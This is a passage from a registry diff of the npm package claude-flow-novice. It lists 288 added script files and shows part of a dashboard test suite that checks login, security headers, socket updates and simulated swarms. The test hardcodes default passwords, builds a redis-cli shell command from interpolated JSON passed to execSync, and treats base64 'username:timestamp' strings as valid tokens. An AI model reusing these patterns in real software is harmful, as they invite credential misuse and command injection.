claude-flow-novice 2.2.4 → 2.2.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (288) hide show
  1. package/package.json +9 -8
  2. package/scripts/.claude-flow/metrics/agent-metrics.json +1 -0
  3. package/scripts/.claude-flow/metrics/performance.json +9 -0
  4. package/scripts/.claude-flow/metrics/task-metrics.json +10 -0
  5. package/scripts/CLEANUP_OPTIMIZATION_REPORT.json +312 -0
  6. package/scripts/CLEANUP_PERFORMANCE_OPTIMIZATION.md +387 -0
  7. package/scripts/CLEANUP_QUICK_START.md +268 -0
  8. package/scripts/CLEANUP_TEST_RESULTS.md +205 -0
  9. package/scripts/README.md +339 -0
  10. package/scripts/ace-query.sh +384 -0
  11. package/scripts/agent-token-analysis.js +430 -0
  12. package/scripts/auto-setup.js +332 -0
  13. package/scripts/build/README.md +167 -0
  14. package/scripts/build/build-config.js +27 -0
  15. package/scripts/build/build-prompt-copier.sh +30 -0
  16. package/scripts/build/performance-monitor.js +869 -0
  17. package/scripts/build/prepare-publish.js +150 -0
  18. package/scripts/build/typescript-fixer.js +621 -0
  19. package/scripts/build/unified-builder.sh +428 -0
  20. package/scripts/build/update-bin-version.js +32 -0
  21. package/scripts/build/validate-agents.js +238 -0
  22. package/scripts/build-index.js +43 -0
  23. package/scripts/build-orchestrator.js +320 -0
  24. package/scripts/check-routing-stats.cjs +122 -0
  25. package/scripts/ci-validation.js +375 -0
  26. package/scripts/cleanup-blocking-coordination.sh +420 -0
  27. package/scripts/cleanup-idle-sessions.sh +59 -0
  28. package/scripts/collect-build-metrics.js +65 -0
  29. package/scripts/demo/README.md +79 -0
  30. package/scripts/demo/autoscaling-demo-simplified.js +963 -0
  31. package/scripts/demo/comprehensive-dashboard-test.js +693 -0
  32. package/scripts/demo/confidence-log.js +87 -0
  33. package/scripts/demo/confidence-report.js +82 -0
  34. package/scripts/demo/demo-multi-swarm-coordination.js +325 -0
  35. package/scripts/demo/demo-production-deployment.js +399 -0
  36. package/scripts/demo/demo-visualization-system.js +149 -0
  37. package/scripts/demo/performance-analysis.cjs +71 -0
  38. package/scripts/demo/performance-analysis.js +71 -0
  39. package/scripts/demo/test-autoscaling-demo.js +314 -0
  40. package/scripts/dependency-optimizer.js +349 -0
  41. package/scripts/dependency-security-assessment.js +331 -0
  42. package/scripts/deploy-sdk.sh +176 -0
  43. package/scripts/deployment-readiness-report.json +179 -0
  44. package/scripts/dev/README.md +264 -0
  45. package/scripts/dev/claude-flow-wrapper.sh +35 -0
  46. package/scripts/dev/claude-monitor.py +419 -0
  47. package/scripts/dev/claude-sparc.sh +562 -0
  48. package/scripts/dev/claude-wrapper.sh +17 -0
  49. package/scripts/dev/demo-phase3-compliance.js +172 -0
  50. package/scripts/dev/demo-task-system.ts +224 -0
  51. package/scripts/dev/deployment-validator.js +315 -0
  52. package/scripts/dev/spawn-claude-terminal.sh +32 -0
  53. package/scripts/dev/start-portal.sh +506 -0
  54. package/scripts/dev/start-web-ui.js +15 -0
  55. package/scripts/dev/stop-portal.sh +311 -0
  56. package/scripts/dev/validate-examples.ts +288 -0
  57. package/scripts/dev/validate-phase2.cjs +451 -0
  58. package/scripts/dev/validate-phase2.js +785 -0
  59. package/scripts/dev/validate-phase3.cjs +208 -0
  60. package/scripts/dev/validate-security-remediation.js +1 -0
  61. package/scripts/ecosystem.config.cjs +90 -0
  62. package/scripts/fix-js-extensions.js +167 -0
  63. package/scripts/generate-basic-types.js +73 -0
  64. package/scripts/generate-changelog.js +318 -0
  65. package/scripts/git-hooks/pre-commit.sh +143 -0
  66. package/scripts/health-checks.js +634 -0
  67. package/scripts/hook-wrapper.sh +54 -0
  68. package/scripts/install/README.md +375 -0
  69. package/scripts/install/REDIS_SETUP_VALIDATION.json +245 -0
  70. package/scripts/install/check-prerequisites.js +303 -0
  71. package/scripts/install/config-wizard.js +606 -0
  72. package/scripts/install/dependency-checker.js +385 -0
  73. package/scripts/install/health-check.js +765 -0
  74. package/scripts/install/install.js +256 -0
  75. package/scripts/install/installation-benchmark.js +461 -0
  76. package/scripts/install/quick-install.js +720 -0
  77. package/scripts/install/quick-start-wizard.js +295 -0
  78. package/scripts/install/redis-cli.js +289 -0
  79. package/scripts/install/redis-install-guides.md +407 -0
  80. package/scripts/install/redis-setup.js +559 -0
  81. package/scripts/install/redis-test.js +278 -0
  82. package/scripts/install/service-manager.js +672 -0
  83. package/scripts/install/setup.js +832 -0
  84. package/scripts/install/uninstall.js +526 -0
  85. package/scripts/install/update.js +461 -0
  86. package/scripts/install-pre-commit-hook.sh +127 -0
  87. package/scripts/legacy/README.md +272 -0
  88. package/scripts/legacy/batch-fix-ts.sh +54 -0
  89. package/scripts/legacy/build-migration.sh +105 -0
  90. package/scripts/legacy/build-monitor.js +209 -0
  91. package/scripts/legacy/build-with-filter.sh +84 -0
  92. package/scripts/legacy/build-workaround.sh +71 -0
  93. package/scripts/legacy/fix-ts-advanced.js +358 -0
  94. package/scripts/legacy/fix-ts-final.sh +50 -0
  95. package/scripts/legacy/fix-ts-targeted.sh +49 -0
  96. package/scripts/legacy/fix-typescript-errors.js +305 -0
  97. package/scripts/legacy/force-build.sh +63 -0
  98. package/scripts/legacy/optimize-performance.js +400 -0
  99. package/scripts/legacy/performance-monitor.js +263 -0
  100. package/scripts/legacy/performance-monitoring.js +532 -0
  101. package/scripts/legacy/performance-test-runner.js +645 -0
  102. package/scripts/legacy/quick-fix-ts.js +281 -0
  103. package/scripts/legacy/safe-build.sh +63 -0
  104. package/scripts/memory-monitor-coordinator.js +322 -0
  105. package/scripts/migrate-to-sdk.sh +520 -0
  106. package/scripts/migration/QUICK-START.md +189 -0
  107. package/scripts/migration/QUICK-START.md.backup-1760135091363 +189 -0
  108. package/scripts/migration/README.md +464 -0
  109. package/scripts/migration/TASK-1.3.2-COMPLETION-REPORT.md +500 -0
  110. package/scripts/migration/TASK-1.3.2-COMPLETION-REPORT.md.backup-1760135091348 +500 -0
  111. package/scripts/migration/UPDATE-PATHS-README.md +464 -0
  112. package/scripts/migration/UPDATE-PATHS-README.md.backup-1760135091337 +464 -0
  113. package/scripts/migration/example-patterns.json +19 -0
  114. package/scripts/migration/install-arm64.js +78 -0
  115. package/scripts/migration/install.js +83 -0
  116. package/scripts/migration/migrate-hooks.js +173 -0
  117. package/scripts/migration/migration-examples.ts +318 -0
  118. package/scripts/migration/reorganize-workspace.js +504 -0
  119. package/scripts/migration/test-update-paths.js +359 -0
  120. package/scripts/migration/update-paths.js +664 -0
  121. package/scripts/migration/validate-migration.js +647 -0
  122. package/scripts/monitor-loop.sh +65 -0
  123. package/scripts/monitor-memory.sh +47 -0
  124. package/scripts/monitor-migration.js +339 -0
  125. package/scripts/monitor.py +43 -0
  126. package/scripts/monitoring/README.md +178 -0
  127. package/scripts/monitoring/alert-monitor.sh +220 -0
  128. package/scripts/monitoring/analyze-resources.sh +199 -0
  129. package/scripts/monitoring/dashboards/rate-limiting-dashboard.json +211 -0
  130. package/scripts/monitoring/dynamic-monitor.sh +85 -0
  131. package/scripts/monitoring/launch-stability-test.sh +184 -0
  132. package/scripts/monitoring/monitor-test.sh +93 -0
  133. package/scripts/monitoring/pre-test-validation.sh +208 -0
  134. package/scripts/monitoring/quick-test-alerting.sh +118 -0
  135. package/scripts/monitoring/quick-test-rate-limiting.sh +206 -0
  136. package/scripts/monitoring/rate-limiting-monitor.sh +380 -0
  137. package/scripts/monitoring/resource-monitor.sh +126 -0
  138. package/scripts/monitoring/stability-monitor.js +429 -0
  139. package/scripts/monitoring/test-monitor-quick.sh +54 -0
  140. package/scripts/monitoring/view-alerts.sh +307 -0
  141. package/scripts/npm-metrics-collector.js +482 -0
  142. package/scripts/npm-package-validation.cjs +299 -0
  143. package/scripts/optimization/build-optimizer.js +438 -0
  144. package/scripts/optimization/config-validator.js +761 -0
  145. package/scripts/optimization/test-optimization.js +432 -0
  146. package/scripts/optimization/unified-activation.js +839 -0
  147. package/scripts/optimize-package-swarm.js +54 -0
  148. package/scripts/performance/ACTIVATION_COMMANDS.md +292 -0
  149. package/scripts/performance/sqlite-enhanced-activation.sh +583 -0
  150. package/scripts/performance/test-enhanced-backend.sh +504 -0
  151. package/scripts/performance-monitor.js +644 -0
  152. package/scripts/performance-test-runner.js +698 -0
  153. package/scripts/post-deployment-monitoring.js +350 -0
  154. package/scripts/post-edit-pipeline.js +2091 -0
  155. package/scripts/post-install-claude-md.js +78 -0
  156. package/scripts/postinstall.js +79 -0
  157. package/scripts/pre-publish-validation.cjs +212 -0
  158. package/scripts/pre-publish-validation.js +429 -0
  159. package/scripts/redis-lua/cleanup-blocking-coordination.lua +198 -0
  160. package/scripts/release-announcement.js +425 -0
  161. package/scripts/release-notification.js +248 -0
  162. package/scripts/release-rollback.js +376 -0
  163. package/scripts/release-validation.js +460 -0
  164. package/scripts/rollback-sdk.sh +66 -0
  165. package/scripts/run-production-validation.ts +590 -0
  166. package/scripts/run-stability-validation.sh +687 -0
  167. package/scripts/security/README.md +339 -0
  168. package/scripts/security/deployment-validation.cjs +279 -0
  169. package/scripts/security/envelope-encryption-confidence-report.cjs +422 -0
  170. package/scripts/security/install-git-hooks.sh +132 -0
  171. package/scripts/security/install-git-secrets.sh +295 -0
  172. package/scripts/security/rotate-api-keys.js +469 -0
  173. package/scripts/security/ruv-swarm-safe.js +74 -0
  174. package/scripts/security/security-audit.cjs +538 -0
  175. package/scripts/security/setup-redis-auth.sh +397 -0
  176. package/scripts/security/validate-envelope-encryption.cjs +340 -0
  177. package/scripts/security-scan.js +492 -0
  178. package/scripts/src/web/frontend/.claude-flow/metrics/agent-metrics.json +1 -0
  179. package/scripts/src/web/frontend/.claude-flow/metrics/performance.json +9 -0
  180. package/scripts/src/web/frontend/.claude-flow/metrics/task-metrics.json +10 -0
  181. package/scripts/switch-api.sh +158 -0
  182. package/scripts/sync-agents.js +290 -0
  183. package/scripts/test/50-agent-test.js +625 -0
  184. package/scripts/test/NEW_STABILITY_TEST_GUIDE.md +407 -0
  185. package/scripts/test/README.md +236 -0
  186. package/scripts/test/STABILITY_TEST_EXAMPLE.md +347 -0
  187. package/scripts/test/STABILITY_TEST_README.md +480 -0
  188. package/scripts/test/agent-worker.js +309 -0
  189. package/scripts/test/ai-coordination-test.js +650 -0
  190. package/scripts/test/ai-mesh-coordination-test.js +416 -0
  191. package/scripts/test/check-links.ts +274 -0
  192. package/scripts/test/check-performance-regression.ts +168 -0
  193. package/scripts/test/cli-agent-coordination-test.js +313 -0
  194. package/scripts/test/coordinator-multilingual-test.js +396 -0
  195. package/scripts/test/coordinator-transparency-demo.js +585 -0
  196. package/scripts/test/coverage-report.ts +692 -0
  197. package/scripts/test/generate-swarm-tests.js +633 -0
  198. package/scripts/test/integration-test-validation.cjs +253 -0
  199. package/scripts/test/load-test-swarm.js +576 -0
  200. package/scripts/test/mesh-coordination-zero-overlap-test.js +740 -0
  201. package/scripts/test/multilingual-hello-world-test.js +390 -0
  202. package/scripts/test/quick-multilingual-demo.js +464 -0
  203. package/scripts/test/real-agent-test.js +312 -0
  204. package/scripts/test/run-phase3-compliance-tests.js +427 -0
  205. package/scripts/test/run-stability-test-examples.sh +292 -0
  206. package/scripts/test/stability-results/stability-metrics.jsonl +83 -0
  207. package/scripts/test/stability-results/stability-test-report.json +128 -0
  208. package/scripts/test/stability-results/stability-test.log +1827 -0
  209. package/scripts/test/stability-test-50-agents.js +734 -0
  210. package/scripts/test/test-batch-tasks.ts +29 -0
  211. package/scripts/test/test-byzantine-resolution.js +246 -0
  212. package/scripts/test/test-claude-spawn-options.sh +63 -0
  213. package/scripts/test/test-cli-wizard.js +331 -0
  214. package/scripts/test/test-comprehensive.js +401 -0
  215. package/scripts/test/test-coordination-features.ts +238 -0
  216. package/scripts/test/test-fallback-systems.js +276 -0
  217. package/scripts/test/test-init-command.ts +302 -0
  218. package/scripts/test/test-mcp.ts +251 -0
  219. package/scripts/test/test-runner.ts +568 -0
  220. package/scripts/test/test-swarm-integration.sh +92 -0
  221. package/scripts/test/test-swarm.ts +142 -0
  222. package/scripts/test/validation-summary.ts +408 -0
  223. package/scripts/test-cleanup-performance.sh +416 -0
  224. package/scripts/test-dashboard-auth.cjs +203 -0
  225. package/scripts/test-docker-deployment.sh +207 -0
  226. package/scripts/test-npm-package.cjs +167 -0
  227. package/scripts/test-provider-routing.cjs +226 -0
  228. package/scripts/test-routing-telemetry.cjs +147 -0
  229. package/scripts/test-runner.cjs +154 -0
  230. package/scripts/test-zai-10k.cjs +81 -0
  231. package/scripts/test-zai-api.cjs +191 -0
  232. package/scripts/test-zai-diagnostic.cjs +151 -0
  233. package/scripts/test-zai-final.cjs +128 -0
  234. package/scripts/test-zai-with-env.cjs +85 -0
  235. package/scripts/utils/README.md +261 -0
  236. package/scripts/utils/clean-build-artifacts.sh +94 -0
  237. package/scripts/utils/cleanup-root.sh +69 -0
  238. package/scripts/utils/fix-cliffy-imports.js +307 -0
  239. package/scripts/utils/fix-duplicate-imports.js +114 -0
  240. package/scripts/utils/fix-error-handling.cjs +70 -0
  241. package/scripts/utils/fix-import-paths.js +104 -0
  242. package/scripts/utils/fix-imports.js +116 -0
  243. package/scripts/utils/fix-shebang.js +78 -0
  244. package/scripts/utils/fix-test-modules.js +27 -0
  245. package/scripts/utils/fix-timezone-issue-246.js +200 -0
  246. package/scripts/utils/fix-ts-comprehensive.py +182 -0
  247. package/scripts/utils/fix-ts-targeted-batch.js +250 -0
  248. package/scripts/utils/remove-benchmark-conflicts.sh +140 -0
  249. package/scripts/utils/simple-test-fixer.js +190 -0
  250. package/scripts/utils/validate-metrics-structure.cjs +144 -0
  251. package/scripts/validate-agent-hooks.js +506 -0
  252. package/scripts/validate-changelog.js +241 -0
  253. package/scripts/validate-coordination-cli.js +69 -0
  254. package/scripts/validate-coordination-toggle-integration.cjs +501 -0
  255. package/scripts/validate-docker-infrastructure.sh +502 -0
  256. package/scripts/validate-entry-points.js +300 -0
  257. package/scripts/validate-stage3-performance.ts +377 -0
  258. package/scripts/validate-template-bundling.js +180 -0
  259. package/scripts/validation/README.md +33 -0
  260. package/scripts/validation/acl-security-validation.cjs +214 -0
  261. package/scripts/validation/acl-security-validation.js +402 -0
  262. package/scripts/validation/byzantine-verification.js +407 -0
  263. package/scripts/validation/final-phase-2-consensus.cjs +219 -0
  264. package/scripts/validation/final-security-validation.js +791 -0
  265. package/scripts/validation/final-wasm-validation.cjs +840 -0
  266. package/scripts/validation/integration-test-analysis.js +105 -0
  267. package/scripts/validation/phase-0-comprehensive-validation.js +474 -0
  268. package/scripts/validation/phase-0-consensus-report.js +139 -0
  269. package/scripts/validation/phase-0-final-report.js +112 -0
  270. package/scripts/validation/phase-0-redis-consensus-report.js +129 -0
  271. package/scripts/validation/phase-0-validation-improved.js +490 -0
  272. package/scripts/validation/phase-0-validation-test.js +65 -0
  273. package/scripts/validation/phase-1-consensus-report.cjs +342 -0
  274. package/scripts/validation/phase-1-consensus-validation.cjs +551 -0
  275. package/scripts/validation/phase-1-consensus-validation.js +551 -0
  276. package/scripts/validation/phase-2-consensus-report.cjs +186 -0
  277. package/scripts/validation/phase-2-validation.cjs +171 -0
  278. package/scripts/validation/phase-2-validation.js +171 -0
  279. package/scripts/validation/phase-4-consensus-report.js +181 -0
  280. package/scripts/validation/phase-4-final-validation.js +351 -0
  281. package/scripts/validation/phase-5-consensus-report.cjs +113 -0
  282. package/scripts/validation/phase-5-consensus-report.js +113 -0
  283. package/scripts/validation/security-analysis.js +49 -0
  284. package/scripts/validation/security-validation.js +492 -0
  285. package/scripts/validation/simple-security-validation.js +464 -0
  286. package/scripts/verify-installation.js +112 -0
  287. package/scripts/verify-mcp-server.js +86 -0
  288. package/scripts/verify-sdk-phase1.cjs +293 -0
@@ -0,0 +1,693 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Comprehensive Dashboard Testing Suite
5
+ * Tests all dashboard fixes with real multi-swarm scenarios
6
+ */
7
+
8
+ import axios from 'axios';
9
+ import io from 'socket.io-client';
10
+ import { performance } from 'perf_hooks';
11
+
12
+ class DashboardTestSuite {
13
+ constructor() {
14
+ this.baseURL = 'http://localhost:3001';
15
+ this.testResults = {
16
+ authentication: {},
17
+ csp: {},
18
+ realtime: {},
19
+ performance: {},
20
+ multiSwarm: {},
21
+ security: {}
22
+ };
23
+ this.metrics = [];
24
+ this.socket = null;
25
+ this.testStartTime = performance.now();
26
+ }
27
+
28
+ async runAllTests() {
29
+ console.log('šŸš€ Starting Comprehensive Dashboard Testing Suite');
30
+ console.log('=' .repeat(60));
31
+
32
+ try {
33
+ // Test 1: Authentication System
34
+ await this.testAuthenticationSystem();
35
+
36
+ // Test 2: CSP Policy Enforcement
37
+ await this.testCSPPolicies();
38
+
39
+ // Test 3: Real-time Updates
40
+ await this.testRealtimeUpdates();
41
+
42
+ // Test 4: Multi-Swarm Execution Display
43
+ await this.testMultiSwarmExecution();
44
+
45
+ // Test 5: Performance with 1000+ Agents
46
+ await this.testPerformanceWithLargeSwarm();
47
+
48
+ // Test 6: Security Hardening
49
+ await this.testSecurityHardening();
50
+
51
+ // Generate comprehensive report
52
+ await this.generateTestReport();
53
+
54
+ } catch (error) {
55
+ console.error('āŒ Test suite failed:', error);
56
+ throw error;
57
+ }
58
+ }
59
+
60
+ async testAuthenticationSystem() {
61
+ console.log('\nšŸ” Testing Authentication System');
62
+ console.log('-'.repeat(40));
63
+
64
+ try {
65
+ // Test valid credentials
66
+ const validUsers = [
67
+ { username: 'admin', password: 'claude2025' },
68
+ { username: 'monitor', password: 'dashboard2025' },
69
+ { username: 'fleet', password: 'manager2025' }
70
+ ];
71
+
72
+ for (const user of validUsers) {
73
+ const response = await axios.post(`${this.baseURL}/api/auth/login`, user);
74
+
75
+ this.testResults.authentication[user.username] = {
76
+ success: response.data.success,
77
+ hasToken: !!response.data.token,
78
+ hasUser: !!response.data.user,
79
+ hasExpiry: !!response.data.expiresAt,
80
+ tokenValid: this.validateToken(response.data.token)
81
+ };
82
+
83
+ console.log(`āœ… ${user.username}: Login successful`);
84
+ }
85
+
86
+ // Test invalid credentials
87
+ try {
88
+ await axios.post(`${this.baseURL}/api/auth/login`, {
89
+ username: 'invalid',
90
+ password: 'wrong'
91
+ });
92
+ this.testResults.authentication.invalidLogin = false;
93
+ console.log('āŒ Invalid login should have failed');
94
+ } catch (error) {
95
+ this.testResults.authentication.invalidLogin = true;
96
+ console.log('āœ… Invalid login properly rejected');
97
+ }
98
+
99
+ // Test token verification
100
+ const authResponse = await axios.post(`${this.baseURL}/api/auth/login`, {
101
+ username: 'admin',
102
+ password: 'claude2025'
103
+ });
104
+
105
+ const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
106
+ token: authResponse.data.token
107
+ });
108
+
109
+ this.testResults.authentication.tokenVerification = {
110
+ success: verifyResponse.data.success,
111
+ valid: verifyResponse.data.valid,
112
+ hasUser: !!verifyResponse.data.user
113
+ };
114
+
115
+ console.log('āœ… Token verification working');
116
+
117
+ } catch (error) {
118
+ console.error('āŒ Authentication test failed:', error.message);
119
+ this.testResults.authentication.error = error.message;
120
+ }
121
+ }
122
+
123
+ validateToken(token) {
124
+ try {
125
+ const decoded = Buffer.from(token, 'base64').toString();
126
+ const [username, timestamp] = decoded.split(':');
127
+ return username && timestamp && !isNaN(parseInt(timestamp));
128
+ } catch {
129
+ return false;
130
+ }
131
+ }
132
+
133
+ async testCSPPolicies() {
134
+ console.log('\nšŸ›”ļø Testing CSP Policy Enforcement');
135
+ console.log('-'.repeat(40));
136
+
137
+ try {
138
+ const response = await axios.get(`${this.baseURL}/`);
139
+
140
+ // Check CSP header
141
+ const cspHeader = response.headers['content-security-policy'];
142
+ if (cspHeader) {
143
+ this.testResults.csp.cspHeaderPresent = true;
144
+ this.testResults.csp.cspValue = cspHeader;
145
+
146
+ // Validate CSP directives
147
+ const requiredDirectives = [
148
+ "default-src 'self'",
149
+ "script-src 'self'",
150
+ "style-src 'self'",
151
+ "frame-src 'none'",
152
+ "object-src 'none'"
153
+ ];
154
+
155
+ this.testResults.csp.directivesValid = requiredDirectives.every(dir =>
156
+ cspHeader.includes(dir)
157
+ );
158
+
159
+ console.log('āœ… CSP header present and valid');
160
+ } else {
161
+ this.testResults.csp.cspHeaderPresent = false;
162
+ console.log('āŒ CSP header missing');
163
+ }
164
+
165
+ // Check other security headers
166
+ const securityHeaders = {
167
+ 'X-Content-Type-Options': 'nosniff',
168
+ 'X-Frame-Options': 'DENY',
169
+ 'X-XSS-Protection': '1; mode=block',
170
+ 'Referrer-Policy': 'strict-origin-when-cross-origin'
171
+ };
172
+
173
+ this.testResults.csp.securityHeaders = {};
174
+
175
+ for (const [header, expectedValue] of Object.entries(securityHeaders)) {
176
+ const actualValue = response.headers[header.toLowerCase()];
177
+ this.testResults.csp.securityHeaders[header] = {
178
+ present: !!actualValue,
179
+ correct: actualValue === expectedValue
180
+ };
181
+
182
+ if (actualValue === expectedValue) {
183
+ console.log(`āœ… ${header}: ${actualValue}`);
184
+ } else {
185
+ console.log(`āŒ ${header}: Expected ${expectedValue}, got ${actualValue}`);
186
+ }
187
+ }
188
+
189
+ } catch (error) {
190
+ console.error('āŒ CSP test failed:', error.message);
191
+ this.testResults.csp.error = error.message;
192
+ }
193
+ }
194
+
195
+ async testRealtimeUpdates() {
196
+ console.log('\n⚔ Testing Real-time Updates');
197
+ console.log('-'.repeat(40));
198
+
199
+ return new Promise((resolve, reject) => {
200
+ try {
201
+ let updateCount = 0;
202
+ let lastUpdateTime = Date.now();
203
+ const updateIntervals = [];
204
+
205
+ this.socket = io(this.baseURL);
206
+
207
+ this.socket.on('connect', () => {
208
+ console.log('āœ… Socket connected');
209
+ this.testResults.realtime.connection = true;
210
+ });
211
+
212
+ this.socket.on('metrics', (data) => {
213
+ updateCount++;
214
+ const now = Date.now();
215
+ const interval = now - lastUpdateTime;
216
+ updateIntervals.push(interval);
217
+ lastUpdateTime = now;
218
+
219
+ this.metrics.push({
220
+ timestamp: now,
221
+ data: data
222
+ });
223
+
224
+ console.log(`šŸ“Š Update ${updateCount}: ${interval}ms interval`);
225
+
226
+ // Test update frequency (should be ~1000ms)
227
+ if (updateCount >= 5) {
228
+ const avgInterval = updateIntervals.reduce((a, b) => a + b, 0) / updateIntervals.length;
229
+ this.testResults.realtime.averageInterval = avgInterval;
230
+ this.testResults.realtime.updateCount = updateCount;
231
+ this.testResults.realtime.frequencyStable = Math.abs(avgInterval - 1000) < 200;
232
+
233
+ if (this.testResults.realtime.frequencyStable) {
234
+ console.log(`āœ… Real-time updates stable: ${avgInterval.toFixed(0)}ms average`);
235
+ } else {
236
+ console.log(`āŒ Update frequency unstable: ${avgInterval.toFixed(0)}ms average`);
237
+ }
238
+
239
+ this.socket.disconnect();
240
+ resolve();
241
+ }
242
+ });
243
+
244
+ this.socket.on('connect_error', (error) => {
245
+ console.error('āŒ Socket connection failed:', error.message);
246
+ this.testResults.realtime.connection = false;
247
+ this.testResults.realtime.error = error.message;
248
+ reject(error);
249
+ });
250
+
251
+ // Timeout after 10 seconds
252
+ setTimeout(() => {
253
+ if (updateCount < 5) {
254
+ console.log('āŒ Real-time updates timeout');
255
+ this.testResults.realtime.timeout = true;
256
+ this.socket.disconnect();
257
+ resolve();
258
+ }
259
+ }, 10000);
260
+
261
+ } catch (error) {
262
+ console.error('āŒ Real-time test failed:', error.message);
263
+ this.testResults.realtime.error = error.message;
264
+ reject(error);
265
+ }
266
+ });
267
+ }
268
+
269
+ async testMultiSwarmExecution() {
270
+ console.log('\nšŸ Testing Multi-Swarm Execution Display');
271
+ console.log('-'.repeat(40));
272
+
273
+ try {
274
+ // Start multiple swarms in parallel
275
+ const swarmPromises = [];
276
+ const swarmCount = 15;
277
+
278
+ console.log(`šŸš€ Starting ${swarmCount} parallel swarms...`);
279
+
280
+ for (let i = 0; i < swarmCount; i++) {
281
+ const swarmPromise = this.runTestSwarm(`test-swarm-${i}`, `Test task ${i}`);
282
+ swarmPromises.push(swarmPromise);
283
+ }
284
+
285
+ // Monitor swarm metrics
286
+ const startTime = Date.now();
287
+ const swarmResults = await Promise.allSettled(swarmPromises);
288
+ const endTime = Date.now();
289
+
290
+ // Test swarm metrics API
291
+ const metricsResponse = await axios.get(`${this.baseURL}/api/swarms`);
292
+ const swarmMetrics = metricsResponse.data;
293
+
294
+ this.testResults.multiSwarm = {
295
+ swarmsStarted: swarmCount,
296
+ swarmsCompleted: swarmResults.filter(r => r.status === 'fulfilled').length,
297
+ executionTime: endTime - startTime,
298
+ metricsAPIWorking: !!swarmMetrics,
299
+ hasSwarmData: Array.isArray(swarmMetrics) && swarmMetrics.length > 0,
300
+ averageExecutionTime: (endTime - startTime) / swarmCount
301
+ };
302
+
303
+ console.log(`āœ… Multi-swarm execution completed`);
304
+ console.log(` šŸ“Š Swarms completed: ${this.testResults.multiSwarm.swarmsCompleted}/${swarmCount}`);
305
+ console.log(` ā±ļø Average time: ${this.testResults.multiSwarm.averageExecutionTime.toFixed(0)}ms`);
306
+
307
+ } catch (error) {
308
+ console.error('āŒ Multi-swarm test failed:', error.message);
309
+ this.testResults.multiSwarm.error = error.message;
310
+ }
311
+ }
312
+
313
+ async runTestSwarm(swarmId, task) {
314
+ try {
315
+ // Simulate swarm execution with delays
316
+ await new Promise(resolve => setTimeout(resolve, Math.random() * 2000 + 1000));
317
+
318
+ // Store swarm data in Redis for dashboard display
319
+ const swarmData = {
320
+ id: swarmId,
321
+ status: 'completed',
322
+ task: task,
323
+ agents: Math.floor(Math.random() * 5) + 3,
324
+ startTime: new Date(Date.now() - 5000).toISOString(),
325
+ endTime: new Date().toISOString(),
326
+ confidence: Math.random() * 0.3 + 0.7
327
+ };
328
+
329
+ // Store in Redis for dashboard to read
330
+ await this.storeSwarmData(swarmId, swarmData);
331
+
332
+ return swarmData;
333
+ } catch (error) {
334
+ console.error(`Swarm ${swarmId} failed:`, error.message);
335
+ throw error;
336
+ }
337
+ }
338
+
339
+ async storeSwarmData(swarmId, data) {
340
+ try {
341
+ // Use Redis to store swarm data
342
+ const { execSync } = await import('child_process');
343
+ const key = `swarm:${swarmId}`;
344
+ const value = JSON.stringify(data);
345
+
346
+ execSync(`redis-cli setex "${key}" 3600 '${value}'`, { stdio: 'pipe' });
347
+ } catch (error) {
348
+ console.error('Failed to store swarm data:', error.message);
349
+ }
350
+ }
351
+
352
+ async testPerformanceWithLargeSwarm() {
353
+ console.log('\nšŸš€ Performance Testing with 1000+ Agents');
354
+ console.log('-'.repeat(40));
355
+
356
+ try {
357
+ const agentCount = 1000;
358
+ const startTime = performance.now();
359
+
360
+ console.log(`šŸ¤– Simulating ${agentCount} agents...`);
361
+
362
+ // Simulate large agent deployment
363
+ const agentPromises = [];
364
+ for (let i = 0; i < agentCount; i++) {
365
+ agentPromises.push(this.simulateAgentWork(`agent-${i}`));
366
+ }
367
+
368
+ // Monitor system during execution
369
+ const monitoringInterval = setInterval(async () => {
370
+ try {
371
+ const metricsResponse = await axios.get(`${this.baseURL}/api/metrics`);
372
+ const metrics = metricsResponse.data;
373
+
374
+ console.log(`šŸ“Š CPU: ${metrics.system?.cpu?.usage || 'N/A'}% | Memory: ${metrics.system?.memory?.percent || 'N/A'}%`);
375
+ } catch (error) {
376
+ // Ignore monitoring errors during performance test
377
+ }
378
+ }, 1000);
379
+
380
+ const results = await Promise.allSettled(agentPromises);
381
+ clearInterval(monitoringInterval);
382
+
383
+ const endTime = performance.now();
384
+ const executionTime = endTime - startTime;
385
+ const successfulAgents = results.filter(r => r.status === 'fulfilled').length;
386
+
387
+ this.testResults.performance = {
388
+ agentCount: agentCount,
389
+ successfulAgents: successfulAgents,
390
+ failedAgents: agentCount - successfulAgents,
391
+ executionTime: executionTime,
392
+ throughput: (successfulAgents / executionTime) * 1000, // agents per second
393
+ averageAgentTime: executionTime / agentCount,
394
+ systemStable: successfulAgents > agentCount * 0.95 // 95% success rate
395
+ };
396
+
397
+ console.log(`āœ… Performance test completed`);
398
+ console.log(` šŸ¤– Agents: ${successfulAgents}/${agentCount} successful`);
399
+ console.log(` ⚔ Throughput: ${this.testResults.performance.throughput.toFixed(2)} agents/sec`);
400
+ console.log(` šŸ“ˆ System stable: ${this.testResults.performance.systemStable}`);
401
+
402
+ } catch (error) {
403
+ console.error('āŒ Performance test failed:', error.message);
404
+ this.testResults.performance.error = error.message;
405
+ }
406
+ }
407
+
408
+ async simulateAgentWork(agentId) {
409
+ try {
410
+ // Simulate agent work with random delays
411
+ const workTime = Math.random() * 100 + 50; // 50-150ms
412
+ await new Promise(resolve => setTimeout(resolve, workTime));
413
+
414
+ return {
415
+ agentId: agentId,
416
+ workTime: workTime,
417
+ success: true
418
+ };
419
+ } catch (error) {
420
+ return {
421
+ agentId: agentId,
422
+ success: false,
423
+ error: error.message
424
+ };
425
+ }
426
+ }
427
+
428
+ async testSecurityHardening() {
429
+ console.log('\nšŸ”’ Testing Security Hardening');
430
+ console.log('-'.repeat(40));
431
+
432
+ try {
433
+ // Test rate limiting
434
+ const rateLimitTest = await this.testRateLimiting();
435
+
436
+ // Test input validation
437
+ const inputValidationTest = await this.testInputValidation();
438
+
439
+ // Test session management
440
+ const sessionTest = await this.testSessionManagement();
441
+
442
+ this.testResults.security = {
443
+ rateLimiting: rateLimitTest,
444
+ inputValidation: inputValidationTest,
445
+ sessionManagement: sessionTest,
446
+ overallSecurity: rateLimitTest && inputValidationTest && sessionTest
447
+ };
448
+
449
+ console.log(`āœ… Security hardening tests completed`);
450
+ console.log(` 🚫 Rate limiting: ${rateLimitTest ? 'Working' : 'Failed'}`);
451
